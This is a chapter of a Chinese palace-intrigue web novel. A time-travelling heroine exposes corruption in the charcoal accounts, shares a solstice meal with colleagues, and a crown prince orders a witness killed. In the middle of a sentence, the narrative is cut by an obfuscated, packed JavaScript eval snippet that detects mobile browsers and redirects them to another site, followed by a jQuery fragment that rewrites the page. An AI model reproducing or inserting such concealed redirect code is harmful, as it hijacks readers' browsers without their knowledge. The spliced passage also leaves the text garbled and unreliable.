郑司薄猛地转头瞪向吴典薄,眼神比刀子还锐利,目光几欲喷火:“是谁指使你在这攀污上官的?”
见此,秦奕游唇角几不可查地勾起一丝笑容:狗咬狗可真好看...
顾贵妃厌烦地摆摆手:“吴典薄压下去交由司正司连夜审问,明日本宫便要听到真相;
置于郑司薄...”顾贵妃顿了顿,“在此期间便禁足吧...”
“娘娘!”郑司薄还想辩驳,几个侍卫却立刻上前,将早已瘫软在地哭嚎着的吴典薄和面如死灰的郑司薄拖出殿去。
经过秦奕游身边时,郑司薄死死盯住她,嘴唇动了动恶狠狠挤出几个字,
但声音极轻,只有彼此二人才能听见:“你给我等着。”
她只垂眸,长睫在脸上投下淡淡阴影,整个人无动于衷。
还威胁她?
她五岁起就不玩这套了...
殿内此刻又重新安静下来,于是所有人的目光又都落在跪在正中央的秦奕游身上。
她依然保持着跪地的姿势,脊背单薄,却挺直如松。
顾贵妃看着她缓缓开口:“秦掌薄。”
“臣在。”
“你今日所为虽不合流程,却揭发了积弊。”停顿片刻,顾贵妃又道:“然宫有宫规,你擅闯冬至宫宴,仍当罚。”
她重重叩首,为此声音变得闷闷的:“臣...领罚。”
“司薄司掌薄秦氏罚俸三月,以儆效尤。”
...罚俸三月?
她在宫中月俸只有区区十贯钱,没入宫前她若每日只花上十五贯,其实都能被夸声节俭了...
这连小惩大戒都算不上,罚了相当于没罚。
她偷偷抬起眼皮打量着顾贵妃,贵妃娘娘这是在...给她走后门?
顾贵妃似是看到她的小动作,轻笑着话锋一转:“但秦掌薄核查有功,即日起,便由你负责宫中炭火发放核查。另...”
顾贵妃看向身旁的皇帝,见皇帝未发一言只微微颔首,顾贵妃便继续道:“赐你核查之权,凡涉及宫中账目,各司须全力配合,不得阻挠。”
???还有这好事!
简直就是渴了给她递茶,饿了给饭!
她闻此眼睛一亮,忙再次叩首:“谢官家、娘娘恩典。臣...定当竭尽全力。”
秦奕游起身退出了集英殿,临出门前还冲她大伯父和堂兄眨了眨眼:就说她不会有事的吧!
殿门在她身后缓缓合上,朱红格窗透出昏黄暖光,殿脊的螭吻在积雪勾勒下显出剪影。
里面又开始奏乐,只是乐声被厚重门扉阻挡了大半,只能听见隐隐约约的旋律时断时续。
雪仍在下,她深吸一口气,清冽的寒气便灌入她鼻腔。雪落在她睫毛上,但她却没有眨眼,任由冰雪凝结。
而后,她抬手抹去眼角刻意挤出的几滴眼泪。
上一次万寿节她来集英殿,在文武百官面前像个物件般被人货比三家、定夺婚事;
而这一次...,却是她主动出击,为那些发不出绝叫的可怜人争取了一条活路。
她手指轻轻摩挲着袖中册子,不过万幸,明日这些炭火便会足额补发。
也不会再有老嬷嬷的手被冻的生疮了。
秦奕游轻轻呵出一口白气,拢紧身上披风,笑着走进风雪中...
来日方长。
——
司薄司值房内羊角宫灯已经熄了十二盏,北面整墙檀木档案架子被遮蔽在阴影中,东南角书案上未合拢的冬至账目正大剌剌地摊开着。
炭火在铜炉里噼啪爆开,端坐着的周颐禾抿了口早已凉透的茶,抬眼道:“你能不能别来回走了,晃得我头晕。”
霁春听到这话,没好气地翻了个白眼,蹭地坐了下去,双手托腮嘴上小声嘟囔着:“站着说话不腰疼...”
吱呀一声,大门被推开,霁春眼睛一亮又猛地地站起,口中惊呼:“大人!你回来了!”
秦奕游见霁春惊喜的样子,倒是愣了片刻,而后解下身上披风,疑惑歪头问她们:“这都子时了,你们为何还不回去睡觉?”
霁春立即窜过来抱住她左臂,猛烈摇晃,“听说大人你独自一人去集英殿面圣了,我还怎么睡得着啊?”
她闻此笑着捏了捏霁春的脸颊,霁春又啊惊呼地一声跑开了。
她又冲周颐禾微微点头,周颐禾只是冷哼一声没有说话。
“你们可否用饭?”
霁春撅撅嘴,“没呢!这不是在等大人您嘛!”
四人于是便坐在长案前,铜釜中的鸡汤正咕嘟着,腾起白蒙蒙水汽,其中的馎饦片沉沉浮浮。
案上还摆着四碗馄饨,薄皮透出里面粉嫩的羊肉馅。
她夹了一筷子炖羊肉,十分酥烂,咸鲜中带着一丝麻,越嚼越香。
而后,她又给自己倒了杯冬阳酒一口灌下,这酒入口温润,甜中带辣,一股热流顺着她喉咙滑进胃里。
随即灼热感便在她四肢百骸扩散开,驱散寒气,让她满足地眯了眯眼睛,整个人放松下来。
烛光映照着她的侧脸,紧绷了一整日的线条此刻柔和下来,目光凝视着升腾的热气,有些出神。
她两颊因酒气而产生浅浅红晕,嘴角不自觉向上弯起细微弧度。
霁春正咬着馄饨,见此疑惑地在她眼前挥了挥手,“大人这是在看什么傻乐呢?”
而后霁春像是突然响起了什么重要之事,突然放下筷子举起酒杯,目光示意其他三人也照做。
姜昭最先响应,而后是喝了酒脑子就宕机的秦奕游,几人就这样直勾勾地盯着总是不合群的周颐禾...
片刻后,等到霁春举的胳膊都快酸了的时候,周颐禾这才不情不愿举起酒杯,见此霁春终于喜笑颜开,手中杯盏与众人一碰,大声道:“数九消寒,安康相随!”
“冬至大如年,添岁享团圆!”姜昭接道。
周颐禾也文邹邹地小声说:“亚岁迎祥,履长纳庆...”
在三人的目光下,秦奕游又将杯中的冬阳酒一饮而尽,激得她眯起双眼,大声喊出:“冬至快乐!”
霁春和姜昭正小声蛐蛐着秦掌薄这说的是什么,
她的意识却渐渐模糊远去,在冬至这一天快要结束前,她在心里对自己说:秦奕游,这是你在这个朝代度过的第十九个冬至;
这一年你害死了很多人,也同样救了许多人;
有人因你万劫不复,也有人因你前程似锦;
人在做天在看,你无愧于心...
——
翌日,东宫殿内雁足灯已燃尽大半,赵明崇伏案的紫檀木长案上,堆积的奏章形成了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034998|192631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几座小山,殿角立着一座黄铜兽首熏炉,青烟正袅袅上升,散出瑞脑香的苦甘。
他手中正捏着一份关于河北路雪灾的奏章,却怎么也看不下去。
而后他突然放下奏章,右手两指轻轻按了按眉心,却怎么也抚不平蹙起的双眉。
他整张脸满是疲惫,眼睛半垂着,目光落在面前的某处虚空,“有消息了吗?”嗓音干涩的吓了他自己一跳。
此时刚进屋就恨不得把自己缩成个虾米的李贯艰难开口:“本是要抓住的了...却在洛川时跟丢了...”
赵明崇沉默看着李贯。
可李贯却知道,太子殿下的沉默比发火更可怕...
李贯硬着头皮继续道:“小秦将军也在找陈集这人,我们的人不敢太大张旗鼓...”
“秦定熙可是...知道些什么了?”
他的嗓音不说控制地带上了颤抖,他其实心里最想问的是:她是不是也知道些什么了...
李贯的话像是给赵明崇打下一剂强心剂,让他不至于太过失态,
“想必小秦将军并不知道此事与您有关...
她只是一直在暗中调查韩肖容大人...十一年前死亡的真相...”
他自嘲地笑了一声,韩肖容是秦奕游的父亲,也是秦定熙的亲姨夫。
至于陈集...这人做了韩肖容部下多年,一直忠心耿耿。
自从韩肖容死后,陈集便隐姓埋名逃亡十一年,明里暗里有多少人多少股势力在找此人...
赵明崇心里清楚:秦家人想找到活着的陈集,而他...却只想看到死了的陈集。
因为尸体是不会开口说话的,只有尸体才能保守秘密...
本来他已经快要忘了过去的...
为什么陈集要突然跑出来?
为什么此人要藏就不能藏的好一点?
为什么一个逃亡多年之人不能直接烂死在哪个坟头?
为什么...
为什么要毁掉他明明触手可及的幸福?
为什么要夺走他唯一的救命稻草?
赵明崇轻笑出了声,他的笑容越来越大,肩膀也随之剧烈颤抖起来,
而后他抬手擦去眼角一点湿润,淡淡开口:“赶在秦定熙之前找到陈集,然后...杀了他。”
李贯看着眼前又哭又笑的太子殿下,心下也跟着一片酸涩,李贯咬咬牙嘭地一声跪在地上,“殿下,您不能一错再错了!
若您真杀了陈集,就连一个向秦姑娘坦白的机会都没有了...”
李贯心中真正想说的是:您真的愿意一条路走到黑,被自己的心魔折磨一辈子吗?
可是李贯不敢。
赵明崇冷漠地看着下面跪着的李贯,他没有斥责,只是摆了摆手示意李贯退下,“陈集...杀无赦。”
他不能让这人活着,他的秘密能多瞒一天是一天,要是能瞒一辈子...就好了。
无所谓,下辈子入阿鼻地狱他赵明崇也认了,
可是这辈子...没有人能阻碍他得到近在眼前的幸福。
——
秦奕游从宿醉中清醒过来后,得知的第一个消息便是吴典薄在狱中畏罪自尽了。
闻此她只是愣了片刻,而后平静地起身、净面、梳髻,像是早料到了一样。